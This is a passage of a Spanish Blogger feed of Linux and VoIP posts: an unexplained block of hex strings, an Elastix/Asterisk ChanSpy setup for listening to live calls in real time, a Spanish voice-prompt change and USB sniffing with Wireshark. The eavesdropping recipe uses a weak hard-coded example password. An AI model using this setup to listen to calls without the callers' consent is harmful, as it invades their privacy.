3c007bfb335325 ac5c5327fcfbe9 9daecd75584e11 770aecaa7200f5&lt;br /&gt;ef955be6081878 8c906f9fbbd9a8 f16d11b5a2980c f837a8f49c0378 33efbbae308e71&lt;br /&gt;0bda652822a309 8990e49a4320ce 8bf60c5517e853 0b0f2a3d47d09b b07d28e7903ac9&lt;br /&gt;&lt;br /&gt;5009b61262ab9c 0161bb90668bf4 a314e46c502058 447250d9698fed c3e4ceaa255d41&lt;br /&gt;5ba4045c2fdba8 17b0720f52e736 0eb0036d8439d0 9e15116b8245e2 3dad88738ceab0&lt;br /&gt;260986d154e9a9 56cd13e67e508e 9895906f7a2bc2 4970647a63ed02 5e192810f2e040&lt;br /&gt;02e7f4cad9b4cb 18d5850dc181a2 05204ea9653f18 2d3b188124823d f9b34ca3d2c93b&lt;br /&gt;2e5ba515010f68 7308114d65f874 acbf4d6286131d 46681d439816a8 15fc07b05c47fe&lt;br /&gt;f0ef6a332c3132 c4630529dd2021 a743a1e9423e63 b12af7fe3d806e 0cb7d03c2afdae&lt;br /&gt;7abe068af28323 fe75b567a2c0c7 069313cf6c1f44 a39aeec0ddcc87 747c3bd20c1471&lt;br /&gt;876af6b8558b0f eb0b357c5d8f97 c64ac9dcac22f2 856e4341b42b50 663b16ec5eb01f&lt;br /&gt;&lt;br /&gt;0d31dd990e70cc f7203530ab3d19 6d42eb5412ec69 dc9e4fcaf97880 e0dcd2d94a10fc&lt;br /&gt;b5f39a9e831217 4b084adf9c02c4 d3cabf53a97846 4c331980146846 3c9f7c840833be&lt;br /&gt;b0cb542c3108b1 9dcf7401e6f79a c1f27ed5dd4e0e 509cf69e83c56c 15ca00d43e1758&lt;br /&gt;5948602f5bf14d 1d129ae6b9f4ee 2b58f973ae2956 6a6c792feb0c13 62474058c00758&lt;br /&gt;caab48f22b2e6a ed88328618842d 0418ebd349eb34 846eda10087342 e8b6c21b95cbf9&lt;br /&gt;cc90523ed0cb59 4c9374718e79ca 60c8fa29dd489a 41f2190a03e88f 8ac12bebb17c5e&lt;br /&gt;3195835960d662 2317a3d2d90ead 5f5aeb6d34f4e1 7a39957a01179f 3f88d79fc83f9c&lt;br /&gt;edb1049a771b1e 30a85067c640ed 06cac8047923de 59bdda0f1b1b9d 7a014eaecf61b7&lt;br /&gt;&lt;br /&gt;292e8b0f865638 4dc1de3d7f5dda d9b1b7557b4db8 54813ab90c75a3 9b35f03246f1e4&lt;br /&gt;20f760465bc347 0da41ba5991181 a6a49de8fdf505 60b1ea116f81a6 ce2716aa9919a7&lt;br /&gt;e3fce68f208dd3 05d5b9594f643d ded74364c812db 16b6e7e4269696 ad975ff975a727&lt;br /&gt;4d6e503b6ae9a9 9ce664850ed1da a714650763250b 944b7b251c3e6b 0d37d4e4854c4c&lt;br /&gt;06c7e1c3d4b917 5602bc69558908 92f5ddd9a20bbd 84d12a16b5963d d1426dd7f44f09&lt;br /&gt;06cca7d8cd71ba 710072c1b4ea7a ebabe1e8242f72 69960c6c0d5bf3 2084edb90ada1d&lt;br /&gt;235ed7d8a9fe39 3b133ed8a3fec1 132c4509579af1 203ca5447787a5 ca938128fcd756&lt;br /&gt;ca569d31b6f05d edec4129270543 ff17078079c2aa f642caa8568a3b 8d1f6c3bf9b5e7&lt;br /&gt;&lt;br /&gt;c947c61701ce12 1a3808b18cb73c d1d7543be23892 9917eefd8b4b7d 0eabef30f24b08&lt;br /&gt;b72c10d49c60a3 c01344f22cc2a2 b97c57f2a37b00 f82a2f9338e520 5a8b9c9ce0dc1d&lt;br /&gt;8a4d7e7260e257 62046c5551c0e9 19811c1011cf28 dc158db4a957c2 b516e794206aa4&lt;br /&gt;4a9e535622d8df bea44b252b2ab8 7284568528acd5 239ab1d64c7025 bad538907922d6&lt;br /&gt;57fb163fcb9eca ad97c1507e480a 78e8cfc81ca935 14eee2413bbe9d e349073d92ab5c&lt;br /&gt;8ed191d530d9af f3a72b6e194e41 d26925b22eb6c5 f709c6088bb419 8527923aa6f4f3&lt;br /&gt;1345fcb8916f88 9f82d7a298174b b0a41e5d16d9d4 28c7eab4098fe2 f34abb591392d4&lt;br /&gt;a5084515586118 71f3fcfcee19ff 180d1b40c23b7c c18c22be085cc3 edeb86d04f3c78&lt;br /&gt;&lt;br /&gt;c56c61899b8011 2cf78b1bcd5b77 99247be60f0cdb 4c8a9aa7a58409 e2bf0ad4cfe9b6&lt;br /&gt;f79b501f91d364 5fd2c40e48e881 c650973fb8e681 7c8ae6d3aca02c 7a01c329e3bf17&lt;br /&gt;3b126f2cda1e76 229d405bbc41d3 5e028a9f388566 97e13e1dfee5e2 aa02da00a5271a&lt;br /&gt;be2abd92296fc2 e380153ffa1a5d dc3c184ca2fd9a 8dd7381eccc7e0 55a7fef2252572&lt;br /&gt;76da25ac98ef00 3e12a21d43ef92 28c5f1d9e71a96 b7cd9a47a9c9d8 aaf77a03539742&lt;br /&gt;9f8854a9983a9c 2bcde940d64350 6986616ba3f75f e80cc522c68b65 f03f78b91d9f6c&lt;br /&gt;fdf9170e4ac9f1 c84c3819797def 03bbfca0340880 2893d145bda408 df07456e5388bf&lt;br /&gt;cbadcc8ac22dc9 365807ab820d70 29da8be4c0de87 756ee3a7865bfe 46439df366b70b&lt;br /&gt;&lt;br /&gt;ab960b51e728db e2e3c346921e4e 74c6317baa49fb b3efd421fb40bd 979d2df24bca93&lt;br /&gt;98d5bd5de71195 bc030746a50c59 02cf2a4b1b9812 467af79145cfaa 0ed643c7b530e4&lt;br /&gt;181ef7d406026a f6ea606e325377 a302d06af1f7cc c7658f6ae6defa bbe5314d959e1f&lt;br /&gt;bb5757386c8799 8759670183f618 58e0cc3816f883 c113183a0578ee ce5456e86ee96b&lt;br /&gt;c04285b8c56bb1 74e5fb66d586e6 9d8eea215e70c8 f4a00feb7bc2f6 369c2bf470063d&lt;br /&gt;5b267be08f0594 c26fb2440b1ac6 8610ef5a140769 bb3d5b50a536d4 df6c30bc09f971&lt;br /&gt;74e572ca84d171 2deb91e812d860 b17ac9ae5be211 c95a0e3f542c78 46397245b13a99&lt;br /&gt;1806ab9ceb6646 1b4161b0ec2edc fc536e2a24abf8 9f7207bf519f1b abf95b0d0d3cae&lt;br /&gt;&lt;br /&gt;d9e17ba1bf7678 6526f524fad677 ec243ad271d0cb 9b1c06cf737605 0a36697c74beaa&lt;br /&gt;fa0f0056a6bd7e 9f2d03db497a93 027d76e6e8692a 72ceb29c5913a7 55eb297dae3330&lt;br /&gt;eb676e7345fb39 7021192efd5b47 462906905e7511 e005f52fd8da5e 1288c01960d735&lt;br /&gt;3460b18eafd2d8 faa9b1c3caf426 5035e585d9fd2d 85636dff1d4e42 600c4b7f664267&lt;br /&gt;02b21e6a8c7a03 79ce25c264e2f4 035a7f32c227ea bf8f711445a7d7 d0b5e3b336f71e&lt;br /&gt;c454a416321483 bdc1a7a9d20dea e1ee4744e83143 5b6969f2864529 17a6b42d6346ab&lt;br /&gt;ff0fb6edf2265a ba75b0991f6dfb 6638c1d7243ff8 e7806af6600486 dfe3bc58f31717&lt;br /&gt;b0c4adc2717922 c11abff0b4a290 43598e076f60be 2ef17ad2f77605 3a41a09d974da6&lt;br /&gt;&lt;br /&gt;ee787846e7ff26 ce05d869fecf18 fde916d95f9357 4c1b4dd723b90d b1f024400d61a2&lt;br /&gt;f51dfebc71b770 461e7f725d9637 2b1587ff40035e a2cafbcd0c6b17 2e9efaf6986045&lt;br /&gt;80e339a823ea56 febfaa02609bb2 a33955624e1602 a137b84639ef0c 6e2ecf420a6d6b&lt;br /&gt;69f13acbea8f97 b4d36c41e3a867 1352aee4798c08 e3ec254ddf35cb ab600d90f13919&lt;br /&gt;d00cc1d401fd2c 1c629e621756d2 090f8d6e0895fa 701bd1b0a355ce a53c7c91b15eb4&lt;br /&gt;dd8579d4dd92e4 03d1c960c63d55 215a8fbc09cc85 59c1e6069b6dd1 a0428bfb223cca&lt;br /&gt;46d131153e9982 c5dab0c9ffb93d 682db866d6503c a481c48384a087 a417c564567258&lt;br /&gt;2ec7b9722b5c5f 2d491f9cf79086 30cd268b1088d0 f02e69b1441963 d9841b5339d18f&lt;br /&gt;&lt;br /&gt;a26deb7b957527 337f3bd67d3c51 e6839a4d5fe4cf 1619c18889be68 d971f0f57d1016&lt;br /&gt;56213ebf152a2d 9c0e0394832c92 9e6fc90ca28ba5 9c5151dfbb8394 f49fe4cf2a3f7a&lt;br /&gt;97f4db054b2b34 2a4c21abf6406f eb941a80bee3f8 7615468e80e77a 0f935ebe8e8842&lt;br /&gt;959f2b3ba1f50c d6bc8b614e39de 3c43d13746983a 7956e617131247 56de3547cf1010&lt;br /&gt;c16d5d1fce2bcc 3e73e5ef9fd691 1211c1a27803ad f1c9644aac4ba2 8d67134e3be189&lt;br /&gt;d8aee617c607cb f62677b30d8ece e7df69402b2291 6ec102f220e09f a6223e874c3e53&lt;br /&gt;fb474983ebdb9f 806832bde2f4e6 7c25ef688134b3 4aadca3409a6b3 bdccd638f3b19a&lt;br /&gt;2b01f18625fdd1 0f5e91c28af081 f28e4dcd9077cd 9229d87caebbfb 072b846b4d2ce0&lt;br /&gt;&lt;br /&gt;fd7a25e195d67a ec9546899268d2 ff3068a2e9d0c2 af9f2fc2de9978 01b47566d0faef&lt;br /&gt;fc5a8eab966720 4b981c9fe7ff10 b4a0aa0873484e 25a8b544ed8801 c72530c2e5d37f&lt;br /&gt;94b0483e74e4fa bc5ac97d82cd68 1a23d34cce0d52 6e4d17a8475b19 63493b14551149&lt;br /&gt;d36db24ae5ced3 a24a53ea6aada0 230cbe502aa32e 2aa07485f281e6 66777be0d719c7&lt;br /&gt;5d3ab65be78916 06076f42e71bd2 273e56dd3eccfd 5ef1c9394b6a9e 42f1f49590ffa2&lt;br /&gt;1e6ab6994e56a8 8d54a339e301c2 efff698c46e74e 6721df7c5334d0 f36cf6a93bf3ff&lt;br /&gt;91d8979d8fe631 321dc8b5eccceb a237eb1423c395 4623a16cc50b79 83f616f60d8114&lt;br /&gt;32c15a65536b82 e4a00d384d99cd 369206bbef6fb4 42a720e294a9e4 768a1c77e94dac&lt;br /&gt;&lt;br /&gt;31d4798dffbd75 da46bbd77e908b 0fc027a69fcccc 4204ee745159f5 c14155873d42b2&lt;br /&gt;7ce0c031527eae 22fb1c9d6da9a7 33c940531510c9 d938e52464ce71 385b73fa95a2d3&lt;br /&gt;597bf6362dd268 f9901921654409 7c8d064cd5b4ea 80e8fe2f1b3288 ee188609ef2cdf&lt;br /&gt;beee34a1c48fe2 459cefca35857f 33b5320fbbca79 7789297027b6a4 f1debe5a09d013&lt;br /&gt;fd5d818a56bf63 19a092fb1ec45c 526f5d3ff64331 9b8295291aef56 d6963c3a92c34c&lt;br /&gt;065482a033fbbb 9b9ab43410d764 44ebbd99c86a86 4c087234311b85 db6e5a803ba13f&lt;br /&gt;760c159ce2a619 d58d83243fe0ba 1c1e5e83aa79b5 75c8bbae9baabf 2ed91bdb632ae8&lt;br /&gt;8e46b443cfffe5 afa4f53f148577 0be538701c4afa 3fd89c44ef7ced 060dcdc21e9368&lt;br /&gt;&lt;br /&gt;0a5b9e2ba4a53b 63db0419a96d30 f68e038377a61e aa15b78389ec74 5f532809ff80f1&lt;br /&gt;f2892acc49ca4e e2d68174c08e81 378254a38f5138 0b060222bb20b1 8013f6f4745c47&lt;br /&gt;ef08e87e2c197d b69d5ddaadf417 7bc66fe482b730 f4bd76d3bb1dfc 09492b63f2935b&lt;br /&gt;43875dd685ab00 e15a528f666486 aad1fac042ef90 b3bb7b8ef9c2e9 c78967b9392a1c&lt;br /&gt;2f05fd5ca0230b 1008345afdd18c dac73c313ace60 346d535e500b62 12e6357496459b&lt;br /&gt;ecccdac5a34926 3b880f7098608f e66c3352a9cdd6 049b176ff1a04d 897d9569948066&lt;br /&gt;806230e9740d6e 179ebf2b7952ab 3a2c5079b5bbea 73261b85c35fb1 5b917dc1bf7e57&lt;br /&gt;9c55b95581c1d5 e1fb86e6219639 c72a22d8404448 95dc5d7b966027 457f3fec730d5d&lt;br /&gt;&lt;br /&gt;469cd82a2b3cec 021d9de560b8d6 85b4d126933886 c8265dafb87325 8741d99af7f420&lt;br /&gt;1329e52d3e66f8 7d37c458a6ad05 1241c5ccbc355b 7fdcad3c3c269d 05f04a0a23acc7&lt;br /&gt;ce076aba97cc18 74b36afc4645b2 cd7adaad8f5b91 bd0651649dc722 3d9b6437c667fb&lt;br /&gt;6827ec09eed45e 8ad6102faa934f 1a80658c0bfe1e ef1749235ab59f 75478ad5949a06&lt;br /&gt;49ce6e19841851 8df41dc39cc628 bd9dc9bec89c8b 7771a21fe8028c 65082929b051f3&lt;br /&gt;c657798a3aebd1 ce9c37c494cfc8 156efce8330e42 d0d95860d39040 dfb0fb66f814c4&lt;br /&gt;4b421540a0aece 9e767cbf7e9c49 eeea5b5c866a9e e2026ca4bfb067 ec9fff1a5d41c0&lt;br /&gt;290ed4da32d333 65208d00dba471 99e1d15a83b736 5585401976a265 1668daeb4aad72&lt;br /&gt;&lt;br /&gt;cdabffa646baca 7a6c7bb29875f7 1a87a53a2139c1 1ecf7ae823158a b1087bf595f7f2&lt;br /&gt;d8e668fe076e4e b0794cf137a863 81e2a419a320ac 8090b1d39e5171 813903d5f1a68c&lt;br /&gt;ba31f8211e56bb 52413eefa30a66 af88d053eb8a4a 4d2235fdb9bf91 69a947973d3ed3&lt;br /&gt;0dbcf583c26ffd b6bfbee58458b7 5a12f3e625e5d8 53ae22c2b1bc6a 8e6f7e7bbde691&lt;br /&gt;2b692a6746d3be 686438e4ac66e4 aa77be21178471 36aed3fc3ff079 8c9373ebb1c2f7&lt;br /&gt;bb99fd5bfaebc1 665902d08610e8 8af0db91b80b6e 00d4995f9a6ce8 1d503d26442bd9&lt;br /&gt;e61b181dfd0949 2a02f5075a277e 76caa7ddc435fe 5cedae4cae7a57 4b5f7c58c4f214&lt;br /&gt;1446a05c1023ab 459c93a9f5ad37 1ea5f5aa4060b2 a48215350fcd60 ac21e2a4729a51&lt;br /&gt;&lt;br /&gt;f18cf87ecf430f 0fd48c241ac6bc 33964cd2e3d9ec 8bebeffc2e848e bb84a5c2ea9b0e&lt;br /&gt;311f20ff7ce601 752573f4effe98 79dbe4d184dce5 6bb04def99d322 7d2d5f23c2475b&lt;br /&gt;7f93f7dbddf04e fff303e751fffe 08d205f8999a3d 5750d14f75e056 1107a3f96ca8e9&lt;br /&gt;f62b50c8ad9f20 53e7fcc55d72d8 6345dec1054cb6 01d52c21dc654a aa0bd78e39c594&lt;br /&gt;2265b675381cd5 57cc03dd65f821 1fa373049059a8 9885886b48085f 8357ab98192a14&lt;br /&gt;5bb6cfbf84048b 5cf862f25ff6ab c9382e36ab2dbd 2357b5ade91fcf 2db77558ceef24&lt;br /&gt;d4a0cb3ba50a2a 12c3cb633dfe47 db805410168807 a5e635ac766e1a 25252810f49fad&lt;br /&gt;cae296fce18ed4 b9932d5822c519 4b7006cc54ea84 2546d761d284cf 2346d0a11b1ed9&lt;br /&gt;&lt;br /&gt;81ce0d028c4474 c8002fd0315372 8670db1a6ad6eb 4c7f942260e9c9 822bb2c423cc53&lt;br /&gt;e3b67febea3672 59c24223d913c3 6f4b196f69400f 51bfb6cc7f3603 fb9fbef84ffaf4&lt;br /&gt;7c1632636806f6 a50ec42076931f f68b2be9e5e7ad 7603302a518bd4 d7cd9bb97ffa3c&lt;br /&gt;acf1faaebf7412 f55d55d548bd86 5b34112ed53d06 1b58692e1e33b7 cc7e3cb6d32fe2&lt;br /&gt;8f7b35c14a744f 9a4ed599399554 8eb369e71641af d4a6d1a5c74123 8cc7ec376acf04&lt;br /&gt;ec0a470647b248 2fd9e8eea1f10e 94439285677960 4d11f6e6a426e0 06378817230b68&lt;br /&gt;ec14f2df152cb7 199a8c0bd5f05d ecad5aab44ac2b ca87ab2ba6e905 69c0bf2acdb36c&lt;br /&gt;d66279737bc807 4dd946eb19d81b 4e9c473b5e9846 5a016f7ca86f9d d02c2b7dca744a&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-5319261414308611802?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/5319261414308611802/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/09/el-numero-de-la-bestia-2.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5319261414308611802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/5319261414308611802'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/09/el-numero-de-la-bestia-2.html' title='El numero de la bestia 2'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-855827367989941206</id><published>2010-09-15T13:07:00.000-07:00</published><updated>2010-09-18T17:39:25.958-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elastix'/><category scheme='http://www.blogger.com/atom/ns#' term='asterisk'/><title type='text'>Como escuchar llamadas en tiempo real en Elastix</title><content type='html'>Como escuchar llamadas en Elastix en tiempo real y de forma segura.&lt;br /&gt;Por defecto elastix no pide password ni nada semejante en este feature y cualquiera puede usarlo.&lt;br /&gt;Asi que para eso le ponemos un password y lo hacemos mas dificil&lt;br /&gt;&lt;br /&gt;Editamos el archivo &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/asterisk/extensions_override_freepbx.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agregamos:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;[app-chanspy]&lt;br /&gt;exten =&amp;gt; 555,1,Macro(user-callerid)&lt;br /&gt;exten =&amp;gt; 555,2,Authenticate(12345678)    ; donde 12345678 es nuestro password&lt;br /&gt;exten =&amp;gt; 555,3,Read(SPYNUM,agent-newlocation)&lt;br /&gt;exten =&amp;gt; 555,4,ChanSpy(SIP/${SPYNUM))&lt;/div&gt;&lt;br /&gt;Luego:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#asterisk -rx 'reload'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego discamos 555 y nos pedirá el password seguido de # &lt;br /&gt;Si acertamos nos pedirá el extension a escuchar seguido de #.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-855827367989941206?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/855827367989941206/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/09/como-espiar-llamadas-en-elastix.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/855827367989941206'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/855827367989941206'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/09/como-espiar-llamadas-en-elastix.html' title='Como escuchar llamadas en tiempo real en Elastix'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2890383695116896764</id><published>2010-09-15T12:37:00.000-07:00</published><updated>2010-09-15T12:37:09.368-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elastix'/><category scheme='http://www.blogger.com/atom/ns#' term='asterisk'/><title type='text'>Cambiar grabaciones built-in de Elastix a español</title><content type='html'>En este post explico como hacer para cambiar las voces built in del Elastix al idioma español&lt;br /&gt;En mi caso en particular utilizo gsm,ulaw y alaw asi solo baje esas pero se puede obtener la lista completa con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$yum search asterisk-sounds-core-es&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#yum install asterisk-sounds-core-es-gsm asterisk-sounds-core-es-ulaw asterisk-sounds-core-es-wav asterisk-sounds-core-es-alaw&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego Habilitar "es" en &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/asterisk/sip_general_custom.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;language=es&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#asterisk -rx 'reload'&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2890383695116896764?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2890383695116896764/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/09/cambiar-grabaciones-built-in-de-elastix.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2890383695116896764'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2890383695116896764'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/09/cambiar-grabaciones-built-in-de-elastix.html' title='Cambiar grabaciones built-in de Elastix a español'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-9144237062492310059</id><published>2010-09-03T22:08:00.000-07:00</published><updated>2010-09-04T17:29:02.914-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='wireshark'/><category scheme='http://www.blogger.com/atom/ns#' term='usb'/><title type='text'>Sniffear puerto USB con Wireshark</title><content type='html'>Desde la version 1.2.x del &lt;a href="http://wireshark.org/"&gt;wireshark&lt;/a&gt; se pueden capturar paquetes de los puertos usb de la pc incluso trae disectores que nos muestran el desesamblaje del paquete.&lt;br /&gt;Para asegurarnos de que todo funcione bien necesitamos como minimo libpcap 0.8 o posterior ya que en las versiones anteriores solo se capturaban 32 bytes de datos.&lt;br /&gt;&lt;br /&gt;Para poder probarlo necesitamos tener compilado el modulo usbmon y haberlo posteriormente cargado, ademas dependiendo del &lt;a href="http://kernel.org/"&gt;kernel&lt;/a&gt; que tengamos hacer los siguientes pasos:&lt;br /&gt;&lt;br /&gt;Como root ejecutamos:&lt;br /&gt;&lt;br /&gt;Para linux kernels &amp;lt; 2.6.21&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;span class="Apple-style-span" style="color: lime;"&gt;#mount -t debugfs / /sys/kernel/debug&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para linux kernels &amp;gt;= 2.6.21&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#mount -t usbfs /dev/bus/usb /proc/bus/usb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hay que complilar el modulo sino este no va a estar presente luego:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#modprobe usbmon&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por ultimo &lt;br /&gt;&lt;br /&gt;#wireshark&lt;br /&gt;&lt;br /&gt;I voila&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/__2CpOkNZ4-k/TIHR7vRsWFI/AAAAAAAAAUE/d2JmAWTGWdI/s1600/Pantallazo-Wireshark:+Capture+Interfaces.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="118" src="http://2.bp.blogspot.com/__2CpOkNZ4-k/TIHR7vRsWFI/AAAAAAAAAUE/d2JmAWTGWdI/s400/Pantallazo-Wireshark:+Capture+Interfaces.png" width="400" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Conectando el Android...&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/__2CpOkNZ4-k/TIHTjNgJ3QI/AAAAAAAAAUM/DU3nLz3zgRc/s1600/Pantallazo-USB+bus+number+1+-+Wireshark.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="361" src="http://1.bp.blogspot.com/__2CpOkNZ4-k/TIHTjNgJ3QI/AAAAAAAAAUM/DU3nLz3zgRc/s400/Pantallazo-USB+bus+number+1+-+Wireshark.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Fuente&amp;nbsp;&lt;a href="http://wiki.wireshark.org/CaptureSetup/USB"&gt;http://wiki.wireshark.org/CaptureSetup/USB&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-9144237062492310059?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/9144237062492310059/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/09/sniffear-puerto-usb-con-wireshark.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/9144237062492310059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/9144237062492310059'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/09/sniffear-puerto-usb-con-wireshark.html' title='Sniffear puerto USB con Wireshark'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/__2CpOkNZ4-k/TIHR7vRsWFI/AAAAAAAAAUE/d2JmAWTGWdI/s72-c/Pantallazo-Wireshark:+Capture+Interfaces.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-907506284132551755</id><published>2010-08-27T17:43:00.000-07:00</published><updated>2010-08-27T17:43:07.720-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><title type='text'>Las guerras del software</title><content type='html'>interesante lo comparto...&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/__2CpOkNZ4-k/THhberc8eoI/AAAAAAAAATs/539MY-XJ9vk/s1600/softwarewars.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/__2CpOkNZ4-k/THhberc8eoI/AAAAAAAAATs/539MY-XJ9vk/s320/softwarewars.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-907506284132551755?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/907506284132551755/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/08/las-guerras-del-software.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/907506284132551755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/907506284132551755'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/08/las-guerras-del-software.html' title='Las guerras del 